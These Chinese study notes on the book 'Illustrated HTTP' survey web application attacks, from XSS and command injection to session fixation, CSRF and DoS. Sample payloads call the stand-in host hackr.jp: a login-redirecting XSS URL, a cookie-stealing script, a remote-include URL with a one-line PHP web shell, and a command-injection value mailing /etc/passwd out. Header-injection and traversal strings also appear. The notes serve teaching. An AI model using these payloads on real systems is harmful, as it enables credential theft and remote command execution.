嗯......→_→基本为《图解http》笔记
导言:
简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。本文主要针对web应用的攻击技术来进行讲解。
针对web应用的攻击模式:
- 主动攻击
- 被动攻击
主动攻击(active attack):
指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源,主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击
被动攻击(passive attack):
指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击
被动攻击通常的攻击模式步骤如下所示:
- 攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求
- 当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱
- 中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码
- 执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果
被动攻击模式中具有代表性的攻击是跨站脚本攻击(XSS)和跨站点请求伪造(CSRF)
利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。
安全漏洞一:输出值转义不完全
保留客户端验证只是为了尽早地辨识输入错误,起到提高UI体验的作用,从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害
攻击方式1:跨站脚本攻击(被动攻击)
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
动态创建的HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
下图网站通过地址栏中URI的查询字段指定ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞
充分熟知此处漏洞特点的攻击者,于是就创建了下面这段嵌入恶意代码的URL。并隐藏植入事先准备好的欺诈邮件中或Web页面内,诱使用户去点击该URL
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="
浏览器打开该URI后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站(也就是hackr.jp),导致个人登录信息被窃取
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie信息
<script src=http://hackr.jp/xss.js></script>
js文件代码为
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
攻击方式2:SQL注入攻击
SQL注入(SQL Injection)是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露攻击方式3:OS命令注入攻击
OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险,也就是说,通过OS注入攻击可执行OS上安装着的各种程序。
my $adr = $q->param('mailaddress');
open(MAIL, "| usrsbin/sendmail $adr");
print MAIL "From: info@example.com\n"
程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr的值
攻击者将下面的值指定作为邮件地址
;cat /etc/passwd | mail hack@example.jp
程序接收该值,构成以下的命令组合
| usrsbin/sendmail ; cat /etc/passwd | mail hack@example.jp
攻击者的输入值中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记
可见,sendmail命令执行被分隔后,接下去就会执行 cat etcpasswd | mail hack@example.jp这样的命令了。结果,含有Linux账户信息etcpasswd的文件,就以邮件形式发送给了hack@example.jp
攻击方式4:HTTP首部注入攻击
HTTP首部注入攻击(HTTPHeader Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式
向首部主体内添加内容的攻击称为HTTP响应截断攻击(HTTPResponse Splitting Attack)
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站
http://hackr.jp/
的会话ID设置成SID=123456789的Set-Cookie首部字段。发送该请求之后,假设结果返回以下响应
Location:http://example.com/?cat=101(%0D%0A:换行符)
Set-Cookie:SID=123456789
此刻,首部字段Set-Cookie已生效,因此攻击者可指定修改任意的Cookie信息。通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,攻击者可伪装成用户
攻击者输入的%0D%0A,原本应该属于首部字段Location的查询值部分,但经过解析后,%0D%0A变成了换行符,结果插入了新的首部字段
这样一来,攻击者可在响应中插入任意的首部字段
HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做HTTP响应截断攻击
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容<!--
在可能进行HTTP首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应
Set-Cookie: UID=(%0D%0A :换行符)
(%0D%0A :换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容<!--(原来页面对应的首部字段和主体部分全视为注释)
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的Web页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果
另外,滥用HTTP/1.1中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的Web网页
攻击方式5:邮件首部注入攻击
下面以Web页面中的咨询表单为例讲解邮件首部注入攻击。该功能可在表单内填入咨询者的邮件地址及咨询内容后,以邮件的形式发送给网站管理员
bob@hackr.jp%0D%0ABcc:user@example.com
%0D%0A在邮件报文中代表换行符。一旦咨询表单所在的Web应用接收了这个换行符,就可能实现对Bcc邮件地址的追加发送,而这原本是无法指定的
另外像下面一样,使用两个连续的换行符就有可能篡改邮件文本内容并发送
bob@hackr.jp%0D%0A%0D%0ATest Message
再以相同的方法,就有可能改写To和Subject等任意邮件首部,或向文本添加附件等动作
攻击方式6:目录遍历攻击
目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击 , 固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限
下面以显示读取文件功能为例,讲解目录遍历攻击。该功能通过以下查询字段,指定某个文件名。然后从www/log/文件目录下读取这个指定的文件
http://example.com/read.php?log=0401.log
攻击者设置如下查询字段后发出请求
http://example.com/read.php?log=../..etcpasswd
查询字段为了读取攻击者盯上的etcpasswd文件,会从wwwlog/目录开始定位相对路径。如果这份read.php脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险
攻击方式7:远程文件包含漏洞
远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击 , 主要是PHP存在的安全漏洞 , 固然存在输出值转义的问题,但更应控制对任意文件名的指定
下面以include读入由查询字段指定文件的功能为例,讲解远程文件包含漏洞。该功能可通过以下查询字段形式指定文件名,并在脚本内的include语句处读入这个指定文件
http://example.com/foo.php?mod=news.php
对应脚本的源代码如下所示
http://example.com/foo.php的源代码(部分摘录)
$modname=$_GET['mod'];
include($modname);
攻击者指定如同下面形式的URL发出请求
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
攻击者已事先在外部服务器上准备了以下这段脚本
http://hackr.jp/cmd.php的源代码
<?system($_GET['cmd'])?>
假设Web服务器(example.com)的include可以引入外部服务器的URL,那就会读入攻击者在外部服务器上事先准备的URL(http://hackr.jp/cmd.php)。结果,通过system函数就能在Web服务器(example.com)上执行查询字段指定的OS命令了
安全漏洞二:设置或设计上有缺陷
指错误设置web服务器,或是由设计上的一些问题引发的安全漏洞
攻击方式1:强制浏览
对那些原本不愿公开的文件,为了保证安全会隐蔽其URL。可一旦知道了那些URL,也就意味着可浏览URL对应的文件。直接显示容易推测的文件名或文件目录索引时,通过某些方法可能会使URL产生泄露
例如通过
http://www.example.com/entry/entry_081202.log
可以推出下一个文件是
http://www.example.com/entry/entry_081203.log
解决方案 : 直接通过URL访问原本必须经过认证才能在Web页面上使用的文件(HTML文件、图片、PDF等文档、CSS以及其他数据等)
攻击方式2:不正确的错误消息处理
简而言之 , 这个说的就是程序出错或者业务出错一般都会爆出很具体很严谨的错误信息 , 但是这个信息暴露给客户端就不太好 , 会被人利用 , 给攻击者启发 , 我们要控制好提供给客户端信息的度
攻击方式3:开放重定向
攻击者把重定向指定的参数改写成已设好陷阱的Web网站对应的连接,如下所示
http://example.com/?redirect=http://hackr.jp
用户看到URL后原以为访问example.com,不料实际上被诱导至hackr.jp这个指定的重定向目标
可信度高的Web网站如果开放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板
安全漏洞三:会话(session)管理疏忽
会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取等后果
攻击方式1:会话劫持
会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的列举几种攻击者可获得会话ID的途径:
- 通过非正规的生成方法推测会话ID;
- 通过窃听或XSS攻击盗取会话ID;
- 通过会话固定攻击(Session Fixation)强行获取会话ID
攻击者在得知该Web网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用JavaScript脚本调用document.cookie以窃取Cookie信息的陷阱,一旦用户踏入陷阱(访问了该脚本),攻击者就能获取含有会话ID的Cookie
攻击者拿到用户的会话ID后,往自己的浏览器的Cookie中设置该会话ID,即可伪装成会话ID遭窃的用户,访问Web网站了
攻击方式2:会话固定攻击(被动攻击)
对以窃取目标会话ID为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话ID
下面我们以认证功能为例讲解会话固定攻击。这个Web网站的认证功能,会在认证前发布一个会话ID,若认证成功,就会在服务器内改变认证状态
攻击者准备陷阱,先访问Web网站拿到会话ID(SID=f5d1278e8109)。此刻,会话ID在服务器上的记录仍是(未认证)状态。(步骤①~②)
攻击者设置好强制用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证。一旦用户触发陷阱并完成认证,会话ID(SID=f5d1278e8109)在服务器上的状态(用户A已认证)就会被记录下来。(步骤③)
攻击者估计用户差不多已触发陷阱后,再利用之前这个会话ID访问网站。由于该会话ID目前已是(用户A已认证)状态,于是攻击者作为用户A的身份顺利登录网站。(步骤④)
Session Adoption
Session Adoption是指PHP或ASP.NET能够接收处理未知会话ID的功能
恶意使用该功能便可跳过会话固定攻击的准备阶段,从Web网站获得发行的会话ID的步骤。即,攻击者可私自创建会话ID构成陷阱,中间件却会误以为该会话ID是未知会话ID而接受
攻击方式3:跨站点请求伪造(被动攻击)
跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态 更新
跨站点请求伪造有可能会造成以下等影响:利用已通过认证的用户权限更新设定信息等;利用已通过认证的用户权限购买商品;利用已通过认证的用户权限在留言板上发表言论
攻击者设置好一旦用户访问,即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器执行完陷阱中的请求后,留言板上也就会留下那条评论(步骤②)
触发陷阱之际,如果用户A尚未通过认证,则无法利用用户A的身份权限在留言板上发表内容
安全漏洞四:其他
攻击方式1:密码破解
密码破解有以下两种手段:通过网络的密码试错;对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)
除去突破认证的攻击手段,还有SQL注入攻击逃避认证,跨站脚本攻击窃取密码信息等方法
密码试错:
- 穷举法(Brute-force Attack,又称暴力破解法)是指对所有密钥集合构成的 密钥空间(Keyspace)进行穷举。比如银行采用的个人识别码是由“4位数字”组成的密码,那么就要从0000~9999中的全部数字逐个进行尝试。从现实角度考量,攻击是失败的。
- 字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法,还是举银行采用个人识别码是“4位数字”的密码的例子,考虑到用户使用自己的生日做密码的可能性较高,于是就可以把生日日期数值化,如将0101~1231保存成字典,进行尝试
对已加密密码的破解:
-
通过穷举法·字典攻击进行类推
针对密码使用散列函数进行加密处理的情况,采用和穷举法或字典攻击相同的手法,尝试调用相同的散列函数加密候选密码,然后把计算出的散列值与目标散列值匹配,类推出密码
-
彩虹表
彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据 库表,是一种通过事先制作庞大的彩虹表,可在穷举法·字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码。 拿到密钥
使用共享密钥加密方式对密码数据进行加密处理的情况下,如果能通过某种手段拿到加密使用的密钥,也就可以对密码数据解密了加密算法的漏洞
考虑到加密算法本身可能存在的漏洞,利用该漏洞尝试解密也是一种可行的方法。但是要找到那些已广泛使用的加密算法的漏洞,又谈何容易,因此困 难极大,不易成功
而Web应用开发者独立实现的加密算法,想必尚未经过充分的验证,还是 很有可能存在漏洞的
攻击方式2:点击劫持
点击劫持(Click jack ing)是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)
攻击方式3:Dos攻击
DoS 攻击(Denial of Serv ice attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS攻击的对象不仅限于Web网站,还包括网络设备及服务器等
主要有以下两种DoS攻击方式:
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态;
- 通过攻击安全漏洞使服务停止
其中,集中利用访问请求的DoS攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止DoS攻击
攻击方式4:后门程序
后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。
通常的后门程序分为以下3种类型:
- 开发阶段作为Debug调用的后门程序;
- 开发者为了自身利益植入的后门程序;
- 攻击者通过某种方法设置的后门程序。
可通过监视进程和通信的状态发现被植入的后门程序。但设定在Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现。